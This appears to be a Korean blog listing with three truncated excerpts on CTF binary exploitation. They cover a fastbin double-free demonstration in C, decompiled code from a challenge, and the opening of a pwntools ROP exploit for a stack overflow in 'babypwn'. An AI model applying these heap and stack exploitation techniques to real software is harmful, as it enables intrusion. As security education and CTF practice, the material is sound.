123456789101112131415161718192021222324252627282930313233#include #include int main(){ fprintf(stderr, "이 파일은 fastbins 에서의 double-free 공격을 입증합니다.\n"); fprintf(stderr, "3개의 버퍼를 할당합니다.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c); fprintf(stderr, "첫번째 ..
프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다. 123456789101112131415unsigned __int64 __fastcall readData(__int64 a1){ __int64 idx; // rax int v3; // [rsp+4h] [rbp-14h] unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); puts("Which entry to show?"); v3 = 0; __isoc99_scanf("%u", &v3); idx = (12 * v3); if ( idx
babypwn 123456_int64 copy(){ char v1; // [rsp+0h] [rbp-80h] return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1);}Colored by Color Scriptercs 여기서 overflow가 일어나고 Nx와 full relro가 걸려있다. rop 하면 된다 그냥1234567891011121314151617181920212223242526272829303132333435363738from pwn import * #context.log_level = 'debug' #p = remote('baby.uni.hctf.fun',25251) p = process('./babypwn')e = ELF('./babypwn') ..